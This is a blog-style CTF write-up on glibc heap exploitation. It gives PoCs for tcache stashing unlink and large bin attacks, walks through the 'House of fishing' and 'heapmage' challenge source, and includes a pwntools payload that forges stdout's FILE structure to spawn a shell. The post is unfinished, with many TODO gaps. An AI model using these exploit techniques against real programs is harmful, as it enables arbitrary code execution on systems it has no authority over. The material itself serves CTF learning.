5704 words
29 minutes
State of heap exploitation in CTFs(ONGOING)-Part 1
2026-07-29

Overview#

The july of 2026 is about to end and as it is tradition to slack every year, I did not do anything to break this tradition, but after watching odysseus I realised it’s not my fault, it’s caly- no it’s the fault of my excessive carnal desire that I can’t control. So this is the result of stuff dropping to the ground and the motivation borne out of it just like in greek mythology.

First of all let’s accept that online-jeopardy CTFs are dead, final no ifs and but, no question. Anyone who doesn’t believe so, can continue playing but Nowdays I think competing in CTFs is 90% waste of time. The rest 10% is not cuz there are still some creative challenges popping here and there. but it’s in minority so again no one cares. The success of any jeopardy ctf depends on post-ctf discussion and writeup. In 2025, there used to be tons of discussion on discord even some of the best writeups and some of the best solutions intended or unintended used to drop on discord. But Now, nothing. I participated in R3CTF, and pwn challenges were top-notch Idc author used llm to vibe code it or not(It was evident that codes were sloppy but i mostly ignored it), but post-ctf there was hardly any discussion, hardly any writeup sharing and if there is no writeup, no discussion then what’s the purpose of ctfs? It can’t be author using llms to make challenges and players using llms to solve challenges. The only one getting benefits from this are frontier labs.

Sorry for offtopic, so my motivation for this blog to just share some challenges that I found interesting this year. The challenge I’m going to discuss in this is TRX’s House of fishing, SC-CTF’s heapmage and R3-CTF’s polys and one more TSG’s pryspace.

Context#

Before starting there are two heap pocs that I want to explain, first is tcache_stashing_unlink_attack and another is large_bin_attack. Tcache stashing attack is simply filling up the small bin then changing the last chunk’s bk to arbitrary address and then flush them in tcache. In this way, we get allocation on arbitrary address. This is the poc.

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_var[0x10] = {0};
unsigned long* chunk_lis[0x10] = {0};
unsigned long* target;
setbuf(stdout, NULL);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf(
"This poc has been tested on both glibc-2.27, glibc-2.29 and "
"glibc-2.31.\n\n");
printf(
"This technique can be used when you are able to overwrite the "
"victim->bk pointer. Besides, it's necessary to alloc a chunk with "
"calloc at least once. Last not least, we need a writable address to "
"bypass check in glibc\n\n");
printf(
"The mechanism of putting smallbin into tcache in glibc gives us a "
"chance to launch the attack.\n\n");
printf(
"This technique allows us to write a libc addr to wherever we want and "
"create a fake chunk wherever we need. In this case we'll create the "
"chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf(
"First let's write a writeable address to fake_chunk->bk to bypass "
"bck->fd = bin in glibc. Here we choose the address of stack_var[2] as "
"the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is "
"stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",
(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",
(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");
// now we malloc 9 chunks
for (int i = 0; i < 9; i++) {
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
// put 7 chunks into tcache
printf(
"Then we free 7 of them in order to put them into tcache. Carefully we "
"didn't free a serial of chunks like chunk2 to chunk9, because an "
"unsorted bin next to another will be merged into one after another "
"malloc.\n\n");
for (int i = 3; i < 9; i++) {
free(chunk_lis[i]);
}
printf(
"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while "
"chunk0 and chunk2 will be put into unsorted bin.\n\n");
// last tcache bin
free(chunk_lis[1]);
// now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
// convert into small bin
printf(
"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into "
"small bin.\n\n");
malloc(0xa0); // size > 0x90
// now 5 tcache bins
printf(
"Then we malloc two chunks to spare space for small bins. After that, we "
"now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
printf(
"Now we emulate a vulnerability that can overwrite the victim->bk "
"pointer into fake_chunk addr: %p.\n\n",
(void*)stack_var);
// change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
// trigger the attack
printf(
"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The "
"small bin preiously freed will be returned to user, the other one and "
"the fake_chunk were linked into tcache bins.\n\n");
calloc(1, 0x90);
printf(
"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd "
"pointer now point to next free chunk: %p and the bck->fd has been "
"changed into a libc addr: %p\n\n",
(void*)stack_var[2], (void*)stack_var[4]);
// malloc and return our fake chunk on stack
target = malloc(0x90);
printf(
"As you can see, next malloc(0x90) will return the region our fake "
"chunk: %p\n",
(void*)target);
assert(target == &stack_var[2]);
return 0;
}

The loc responsible for flusing is this. But this poc uses calloc which does not allocate from

/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range(nb)) {
idx = smallbin_index(nb);
bin = bin_at(av, idx);
if ((victim = last(bin)) != bin) {
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena(victim);
check_malloced_chunk(av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache != NULL && tc_idx < mp_.tcache_bins) {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count &&
(tc_victim = last(bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk;
set_inuse_bit_at_offset(tc_victim, nb);
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put(tc_victim, tc_idx);
}
}
}
#endif

TODO: explain that there is no check

for i in range(20):
malloc(i, 0x90)
for i in [2, 4, 6, 8, 10, 12, 14]:
free(i)
for i in [1, 3, 5, 7, 9, 11, 13]:
free(i)
malloc(21, 0xA0)
for i in [2, 4, 6, 8, 10, 12, 14]:
malloc(i, 0x90)
target = 0xDEADBEEF
edit(13, pack(0xCAFEBABE) + pack(target))
malloc(18, 0x90)

TODO: add image of result and image of this code

This is the poc that I made to understand this attack. The end result is that after this target address will be on the tcache free list and the condition is that there should be a valid writable address at target->fd, and free space in tcache bins should be number of small_bins+0x1 which in this case satisfies.

TODO: explain the reason with glibc code . Process is simple, Allocate some chunks and then fill tcache chunks. I freed alternate chunks so that remaining chunks which will go to unsorted bin after freeing does not consolidate. Then allocate a chunk larger than unsorted_bin chunk to send all unsorted bin chunk to small_bin. Then change the bk of last chunk, As small_bin is FIFO.

Now another attack is large_bin_attack. This is kinda simple, doesn’t require much effort.

malloc(0x0, 0x428)
malloc(0x1, 0x18)
malloc(0x2, 0x418)
malloc(0x3, 0x18)
free(0x0)
malloc(0x4, 0x438)
free(0x2)
payload = pack(0x0) * 0x2 + pack(0x0) + pack(0x5555555596D0 - 0x20)
edit(0x0, payload)
malloc(0x5, 0x438)

TODO this code The end result of this is we can write the a heap address to anywhere known address, like in above there’ll be a heap address at 0x5555555596d0. TODO: image of heap chunk in last stage and then after

House Of fishing#

After this two, we can move forward to TRX’s challenge which is a beauty on it’s own. (Oh god how i miss those heap challenges )

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define min(a, b) ((a) < (b) ? (a) : (b))
#define PTRS_SIZE 0x100
#define SIZE_CAP 0x500
void* ptrs[PTRS_SIZE] = {0};
int sizes[PTRS_SIZE] = {0};
unsigned long* admin = NULL;
void print_banner() {
printf(
"🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣"
"🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣\n");
printf(
"🎣.__ _____ ___________.__ "
" .__ .__ 🎣\n");
printf(
"🎣| |__ ____ __ __ ______ ____ _____/ ____\\ \\_ _____/|__| "
"_____| |__ |__| ____ ____ 🎣\n");
printf(
"🎣| | \\ / _ \\| | \\/ ___// __ \\ / _ \\ __\\ | __) | "
" |/ ___/ | \\| |/ \\ / ___\\ 🎣\n");
printf(
"🎣| Y ( <_> ) | /\\___ \\\\ ___/ ( <_> ) | | \\ | "
"|\\___ \\| Y \\ | | \\/ /_/ >🎣\n");
printf(
"🎣|___| /\\____/|____//____ >\\___ > \\____/|__| \\___ / "
"|__/____ >___| /__|___| /\\___ / 🎣\n");
printf(
"🎣 \\/ \\/ \\/ \\/ "
" \\/ \\/ \\//_____/ 🎣\n");
printf(
"🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣"
"🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣\n");
}
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
admin = (unsigned long*)mmap((void*)0x1337000, 8, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
print_banner();
}
void menu() {
puts("1) create");
puts("2) update");
puts("3) delete");
puts("4) copy");
printf("enter your choice: ");
}
int get_choice() {
unsigned int choice = 0;
scanf("%d%*c", &choice);
return choice;
}
void die(char* msg) {
printf("wrong %s\n", msg);
exit(-1);
}
unsigned int get_idx() {
unsigned int idx;
printf("enter index: ");
idx = get_choice();
if (idx >= PTRS_SIZE)
die("index");
return idx;
}
unsigned int get_size() {
unsigned int size;
printf("enter size: ");
size = get_choice();
size += 0xf;
size /= 0x10;
size *= 0x10;
if (size >= SIZE_CAP)
die("size");
return size;
}
void read_exactly(int fd, char* ptr, int size) {
for (int i = 0; i < size; i++)
read(fd, ptr + i, 1);
}
void create() {
unsigned int idx;
unsigned int size;
void* ptr;
idx = get_idx();
size = get_size();
ptr = malloc(size);
printf("allocated size: %d\n", size);
ptrs[idx] = ptr;
sizes[idx] = size;
}
void update() {
unsigned int idx;
idx = get_idx();
printf("enter %d bytes: ", sizes[idx]);
read_exactly(STDIN_FILENO, ptrs[idx], sizes[idx]);
}
void delete() {
unsigned int idx;
idx = get_idx();
free(ptrs[idx]);
}
void win() {
if (*admin == 0xdeadbeefdeadcafe) {
puts("good boy");
system("/bin/sh");
} else
die("admin");
}
void copy() {
unsigned int dest;
unsigned int src;
dest = get_idx();
src = get_idx();
memcpy(ptrs[dest], ptrs[src], min(sizes[dest], sizes[src]));
}
int main(int argc, char** argv) {
unsigned int choice = 0;
setup();
while (1) {
menu();
choice = get_choice();
switch (choice) {
case 1:
create();
break;
case 2:
update();
break;
case 3:
delete();
break;
case 4:
copy();
break;
case 5:
win();
break;
default:
puts("invalid choice");
break;
}
}
return 0;
}

This is the source code of the challenge, very simple very elegant just 4 functions one backdoor. TODO: add image of each one Create functions just mallocs a chunks, there is some restrictions on chunks’ size.

Free functions gives us a Use after free vuln.(offtopic but my ex freed me after use but now it doesn’t matter). There’s edit function so we can write to any freed or non-freed chunk, and there’s one copy function which copies content between free or non-free both chunks as there is no check. Last is win function which checks the value at address 0x1337000. So we have to change the value at this address to 0xdeadbeefdeadcafe.

TODO: add image of setup and mmaped chunk

Exploitation#

My thought process for this was very simple, There’s no leak but we know the address to write 0x1337000,so we have to allocate a chunk at 0x1337000 but due to safe linking we can’t do tcache-poisoning as we need a heap leak. But we can do tcache-stashing-unlink-attack at it will do arbitrary address allocation without any safe linking or mangling stuff.

but the problem was that address at 0x1337000+0x10 is NULL so there will be segfault cuz we need a valid writable address at this. So to solve this problem, I used largebin attack as it can write a heap address at any known address. TODO: add image as script progresses

This is my solution using large bin attack to write at bk of 0x1337000 and tcache stashing attack to get allocation at 0x1337000, Now this works in Docker but NOT on remote, Honestly I don’t have energy to debug so I’ll dump it to my later self (goodluck guys i dump now).

But the intended solution is quite different, and here if you want to have a read. I’ll explain this in later part of blog.

HeapMage#

This is the challenge of SC-CTF, which also doesn’t have functionality of show.

Source code#

void __fastcall __noreturn main(__int64 a1, char** a2, char** a3) {
int v3; // eax
buffering();
while (1) {
¦ while (1)
¦ {
¦ ¦ menu();
¦ ¦ v3 = scanf(a1, a2);
¦ ¦ if (v3 != 3)
¦ ¦ ¦ break;
¦ ¦ edit();
¦
}
¦ if (v3 > 3)
¦ ¦ break;
¦ if (v3 == 1)
¦ {
¦ ¦ malloc_0();
¦
}
¦ else ¦ {
¦ ¦ if (v3 != 2)
¦ ¦ ¦ break;
¦ ¦ free_0();
¦
}
}
exit(1);
}

This is the main source code which does some religious buffering and then prints three options malloc, edit and free.

int malloc_0() {
unsigned int pointerindex; // [rsp+8h] [rbp-8h]
int choice; // [rsp+Ch] [rbp-4h]
pointerindex = scanfinput();
if (pointerindex >= 0x10) {
¦ puts("Invalid index!");
¦ _exit(1);
}
printf("1. 0xd0\n2. 0xa0\n3. 0x510\n4. 0x520\nchoice: ");
choice = scanf();
if (choice == 4) {
¦ pointerlist[pointerindex] = malloc(0x510uLL);
¦ goto LABEL_15;
}
if (choice > 4)
¦ return puts("Invalid choice!");
if (choice == 3) {
¦ pointerlist[pointerindex] = malloc(0x500uLL);
¦ goto LABEL_15;
}
if (choice > 3)
¦ return puts("Invalid choice!");
if (choice == 1) {
¦ pointerlist[pointerindex] = malloc(0xC0uLL);
} else {
¦ if (choice != 2)
¦ ¦ return puts("Invalid choice!");
¦ pointerlist[pointerindex] = malloc(0xF0uLL);
}
LABEL_15:
some_shii(pointerlist[pointerindex]);
return puts("Chunk allocated.");
}
unsigned __int64 __fastcall sub_12EE(__int64 a1) {
unsigned __int64 result; // rax
if (a1) {
¦ result = qword_40E0;
¦ if (!qword_40E0)
¦ {
¦ ¦ result = a1 & 0xFFFFFFFFFFFFF000LL;
¦ ¦ qword_40E0 = a1 & 0xFFFFFFFFFFFFF000LL;
¦
}
}
return result;
}

This is malloc function which gives us a choice of allocating chunk of 4 different sizes, god knows why, and then there is some_Shii function which does something idk why.

int sub_1630() {
unsigned int v1; // [rsp+Ch] [rbp-4h]
v1 = scanfinput();
if (v1 >= 0x10) {
¦ puts("Invalid index!");
¦ _exit(1);
}
if (!pointerlist[v1])
¦ return puts("Empty.");
free((void*)pointerlist[v1]);
pointerlist[v1] = 0LL;
return puts("Chunk freed.");
}

This is the free function which frees the chunk wow I think class of pareek just tripped me whatever, but the problem is it nulls the pointerlist so no UAF.

int edit() {
signed int v1; // [rsp+4h] [rbp-Ch]
ssize_t v2; // [rsp+8h] [rbp-8h]
v1 = scanfinput();
if ((unsigned int)v1 >= 0x10) {
¦ puts("Invalid index!");
¦ _exit(1);
}
if (!*((_QWORD*)&pointerlist + v1))
¦ return puts("Empty.");
printf("Data: ");
v2 = read(0, *((void**)&pointerlist + v1), 0xF0uLL);
size_check(*((_QWORD*)&pointerlist + v1), v2);
return puts("Chunk edited.");
}

This is edit function in which 0xF0 is read size but buffer can be allocated of size 0xc0 which means heap overflow, but

void __fastcall size_check(__int64 a1, __int64 a2) {
unsigned __int64 v2; // [rsp+10h] [rbp-10h]
if (a2 > 0xd8) {
¦ v2 = *(_QWORD*)(a1 + 200) & 0xFFFFFFFFFFFFFFF0LL;
¦ if (v2 > 0x1F && v2 <= 0x520 &&
!(unsigned int)times(*(_QWORD*)(a1 + 216)))
¦ ¦ _exit(1);
}
}

there is the size_check function which gets activated if the data entered in edit is more than 0xd8 bytes, which is a problem or is it who knows besides debugger.

Exploitation#

TODO image of size_check

House of Apple 3#

So We can overwrite stdout structure and after that puts is called. Touring libc source code of puts,

/* Write a string, followed by a newline, to stdout.
This function is a possible cancellation point and therefore not
marked with __THROW. */
extern int puts(const char* __s);
int _IO_puts(const char* str) {
int result = EOF;
size_t len = strlen(str);
_IO_acquire_lock(stdout);
if ((_IO_vtable_offset(stdout) != 0 || _IO_fwide(stdout, -1) == -1) &&
_IO_sputn(stdout, str, len) == len &&
_IO_putc_unlocked('\n', stdout) != EOF)
result = MIN(INT_MAX, len + 1);
_IO_release_lock(stdout);
return result;
}
static_weak_alias(_IO_puts, puts) libc_hidden_def(_IO_puts)
/* Return orientation of stream. If mode is nonzero try to change
the orientation first. */
#undef _IO_fwide
int _IO_fwide(FILE* fp, int mode) {
/* Normalize the value. */
mode = mode < 0 ? -1 : (mode == 0 ? 0 : 1);
#if SHLIB_COMPAT(libc, GLIBC_2_0, GLIBC_2_1)
if (__glibc_unlikely(&_IO_stdin_used == NULL) && _IO_legacy_file(fp))
/* This is for a stream in the glibc 2.0 format. */
return -1;
#endif
/* The orientation already has been determined. */
if (fp->_mode != 0
/* Or the caller simply wants to know about the current orientation. */
|| mode == 0)
return fp->_mode;
/* Set the orientation appropriately. */
if (mode > 0) {
struct _IO_codecvt* cc = fp->_codecvt = &fp->_wide_data->_codecvt;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_base;
/* Get the character conversion functions based on the currently
selected locale for LC_CTYPE. */
{
/* Clear the state. We start all over again. */
memset(&fp->_wide_data->_IO_state, '\0', sizeof(__mbstate_t));
memset(&fp->_wide_data->_IO_last_state, '\0', sizeof(__mbstate_t));
struct gconv_fcts fcts;
__wcsmbs_clone_conv(&fcts);
assert(fcts.towc_nsteps == 1);
assert(fcts.tomb_nsteps == 1);
cc->__cd_in.step = fcts.towc;
cc->__cd_in.step_data.__invocation_counter = 0;
cc->__cd_in.step_data.__internal_use = 1;
cc->__cd_in.step_data.__flags = __GCONV_IS_LAST;
cc->__cd_in.step_data.__statep = &fp->_wide_data->_IO_state;
cc->__cd_out.step = fcts.tomb;
cc->__cd_out.step_data.__invocation_counter = 0;
cc->__cd_out.step_data.__internal_use = 1;
cc->__cd_out.step_data.__flags = __GCONV_IS_LAST | __GCONV_TRANSLIT;
cc->__cd_out.step_data.__statep = &fp->_wide_data->_IO_state;
}
/* From now on use the wide character callback functions. */
_IO_JUMPS_FILE_plus(fp) = fp->_wide_data->_wide_vtable;
}
/* Set the mode now. */
fp->_mode = mode;
return mode;
}
struct _IO_codecvt {
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
/* Extra data for wide character streams. */
struct _IO_wide_data {
wchar_t* _IO_read_ptr; /* Current read pointer */
wchar_t* _IO_read_end; /* End of get area. */
wchar_t* _IO_read_base; /* Start of putback+get area. */
wchar_t* _IO_write_base; /* Start of put area. */
wchar_t* _IO_write_ptr; /* Current put pointer. */
wchar_t* _IO_write_end; /* End of put area. */
wchar_t* _IO_buf_base; /* Start of reserve area. */
wchar_t* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t* _IO_save_base; /* Pointer to start of non-current get area. */
wchar_t* _IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t* _IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t* _wide_vtable;
};

Oh after this I could not understand anything, So I made a simple program using puts and starting debugging it. So puts calls to vtable _IO_new_file_xsputn, with rdi as stdout file structure. TODO of call

size_t _IO_new_file_xsputn(FILE* f, const void* data, size_t n) {
const char* s = (const char*)data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) {
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n) {
const char* p;
for (p = s + n; p > s;) {
if (*--p == '\n') {
count = p - s + 1;
must_flush = 1;
break;
}
}
}
} else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0) {
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) {
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW(f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write) {
count = new_do_write(f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn(f, s + do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver(_IO_new_file_xsputn, _IO_file_xsputn)
0x00007ffff7c80eef <+159>: mov r14,QWORD PTR [rdi+0xd8]
0x00007ffff7c80ef6 <+166>: lea rdx,[rip+0x195b03] # 0x7ffff7e16a00 <_IO_helper_jumps>
0x00007ffff7c80efd <+173>: lea rax,[rip+0x196864] # 0x7ffff7e17768
0x00007ffff7c80f04 <+180>: sub rax,rdx
0x00007ffff7c80f07 <+183>: mov rcx,r14
0x00007ffff7c80f0a <+186>: sub rcx,rdx
0x00007ffff7c80f0d <+189>: cmp rax,rcx
0x00007ffff7c80f10 <+192>: jbe 0x7ffff7c80f90 <__GI__IO_puts+320>
0x00007ffff7c80f12 <+194>: mov rdx,rbx
0x00007ffff7c80f15 <+197>: mov rsi,r12
0x00007ffff7c80f18 <+200>: call QWORD PTR [r14+0x38]

This call is to _IO_new_file_xsputn which is vtable pointer of stdout as rdi->stdout. We can change this vtable pointer as long as it is in vtable pointer region.

gef> xinfo 0x00007ffff7e17600
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7e16000 0x00007ffff7e1a000 0x0000000000004000 0x0000000000215000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6 +0x1600 <- $r14
Offset (from mapped): 0x7ffff7e16000 + 0x1600
Offset (from base): 0x7ffff7c00000 + 0x217600
Offset (from segment): 0x7ffff7e16a00 (__libc_IO_vtables) + 0xc00
Symbol: <_IO_file_jumps>
Inode: 4093204

In this technique we can this pointer so that it calls __GI__IO_wfile_underflow instead of _IO_new_file_xsputn. TODO image This is the code for __GI__IO_wfile_underflow. It’s big ass so I’m not pasting it here. While touring the code, I found this. If you remember House of Apple 2, call to _IO_wdoallocbuf is last stage of the execution. TODO image

if (fp->_wide_data->_IO_buf_base == NULL) {
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL) {
free(fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf(fp);
}

So my goal became to somehow satisfy the condition to reach this stage, but according to this blog, if _wide_data is non-writable then we can use __libio_codecvt_in to get shell also mentioned in niftic’s blog. TODO image But In this case I’ll try to get shell via _IO_wdoallocbuf and let’ see if it works or not.

#include <stdio.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
read(0x0, stdout, 0x100);
puts("oh hello there ~!");
}

This is the source code that I wrote to test my exploit. It’s simple, does some religious buffering(I dont want to change the address in File Structure so that’s why) then calls read with stdout as buffer and then call puts with “oh hello there ~!”.

from pwn import *
elf = context.binary = ELF("./main")
context.log_level = "debug"
io = process()
gs = """
break gets
break puts
break *0x7ffff7e1da40
"""
gdb.attach(io, gdbscript=gs)
LIBC = 0x7FFFF7C00000
# payload = pack(0x0)
fp = FileStructure()
print(fp)
# gef> ptype FILE*
# type = struct _IO_FILE {
# int _flags;
# char *_IO_read_ptr;
# char *_IO_read_end;
# char *_IO_read_base;
# char *_IO_write_base;
# char *_IO_write_ptr;
# char *_IO_write_end;
# char *_IO_buf_base;
# char *_IO_buf_end;
# char *_IO_save_base;
# char *_IO_backup_base;
# char *_IO_save_end;
# struct _IO_marker *_markers;
# struct _IO_FILE *_chain;
# int _fileno;
# int _flags2;
# __off_t _old_offset;
# unsigned short _cur_column;
# signed char _vtable_offset;
# char _shortbuf[1];
# _IO_lock_t *_lock;
# __off64_t _offset;
# struct _IO_codecvt *_codecvt;
# struct _IO_wide_data *_wide_data;
# struct _IO_FILE *_freeres_list;
# void *_freeres_buf;
# size_t __pad5;
# int _mode;
# char _unused2[20];
# } *
# gef> ptype/ox FILE*
# type = struct _IO_FILE {
# /* 0x0000 | 0x0004 */ int _flags;
# /* XXX 4-byte hole */
# /* 0x0008 | 0x0008 */ char *_IO_read_ptr;
# /* 0x0010 | 0x0008 */ char *_IO_read_end;
# /* 0x0018 | 0x0008 */ char *_IO_read_base;
# /* 0x0020 | 0x0008 */ char *_IO_write_base;
# /* 0x0028 | 0x0008 */ char *_IO_write_ptr;
# /* 0x0030 | 0x0008 */ char *_IO_write_end;
# /* 0x0038 | 0x0008 */ char *_IO_buf_base;
# /* 0x0040 | 0x0008 */ char *_IO_buf_end;
# /* 0x0048 | 0x0008 */ char *_IO_save_base;
# /* 0x0050 | 0x0008 */ char *_IO_backup_base;
# /* 0x0058 | 0x0008 */ char *_IO_save_end;
# /* 0x0060 | 0x0008 */ struct _IO_marker *_markers;
# /* 0x0068 | 0x0008 */ struct _IO_FILE *_chain;
# /* 0x0070 | 0x0004 */ int _fileno;
# /* 0x0074 | 0x0004 */ int _flags2;
# /* 0x0078 | 0x0008 */ __off_t _old_offset;
# /* 0x0080 | 0x0002 */ unsigned short _cur_column;
# /* 0x0082 | 0x0001 */ signed char _vtable_offset;
# /* 0x0083 | 0x0001 */ char _shortbuf[1];
# /* XXX 4-byte hole */
# /* 0x0088 | 0x0008 */ _IO_lock_t *_lock;
# /* 0x0090 | 0x0008 */ __off64_t _offset;
# /* 0x0098 | 0x0008 */ struct _IO_codecvt *_codecvt;
# /* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
# /* 0x00a8 | 0x0008 */ struct _IO_FILE *_freeres_list;
# /* 0x00b0 | 0x0008 */ void *_freeres_buf;
# /* 0x00b8 | 0x0008 */ size_t __pad5;
# /* 0x00c0 | 0x0004 */ int _mode;
# /* 0x00c4 | 0x0014 */ char _unused2[20];
payload = p32(0x0) # 0
payload += p32(0x0)
payload += pack(0x7FFFF7C50D70 + 0x8) # 8
payload += pack(0x7FFFF7C50D70) # 10 system
payload += pack(0x7FFFF7C50D70) # 18 system
payload += pack(0x0) # 20
payload += pack(0x0) # 28
payload += pack(0x0) # 30
payload += pack(0x7FFFF7E1B780) # 38
payload += pack(0x0) # 40
payload += p8(0x0) * 0x10
payload += b"/bin/sh\x00"
payload += pack(0x0)
payload += pack(LIBC + 0x0000000000166267) # gadget
payload += p8(0x0) * 0x18
payload += pack(0x7FFFF7E1B748) # lock
payload += pack(0x0) * 0x2
payload += pack(LIBC + 0x21B6C0) # widedata
payload += p8(0x0) * (0xD8 - 0xA0 - 0x8)
payload += pack(LIBC + 0x2170A8) # IO_Wfile_underflow
# 0x0000000000166267 : add edi, 0x58 ; jmp rcx
# rdx rcx under control
io.sendline(payload)
io.interactive()

This is my exploit using _IO_wfile_underflow and _wide_data, Now there is one more path using codecvt but I’ll explain it later. This is the path that I used,

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return WEOF;

So to skip this path, fp->_flags &~_IO_EOF_SEEN.

if (__glibc_unlikely(fp->_flags & _IO_NO_READS)) {
fp->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;

So we have to skip this path too, same condition fp->_flags &~_IO_NO_READS. Now below wide_data condition depends on where I want to place wide_data pointer in stdout. Finding this without angr or idk whatever was hassle.

/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr < fp->_IO_read_end) {
/* There is more in the external. Convert it. */
const char* read_stop = (const char*)fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
status = __libio_codecvt_in(
cd, &fp->_wide_data->_IO_state, fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop, fp->_wide_data->_IO_read_ptr, fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
fp->_IO_read_base = fp->_IO_read_ptr;
fp->_IO_read_ptr = (char*)read_stop;
/* If we managed to generate some text return the next character. */
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
if (status == __codecvt_error) {
__set_errno(EILSEQ);
fp->_flags |= _IO_ERR_SEEN;
return WEOF;
}
/* Move the remaining content of the read buffer to the beginning. */
memmove(fp->_IO_buf_base, fp->_IO_read_ptr,
fp->_IO_read_end - fp->_IO_read_ptr);
fp->_IO_read_end = (fp->_IO_buf_base + (fp->_IO_read_end - fp->_IO_read_ptr));
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
} else
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base;

If we don’t want to go inside if loop then else will execute, which means _IO_read_base, _IO_read_ptr, _IO_read_end is going to be equal to _IO_buf_base. And in the next if condition we find this,

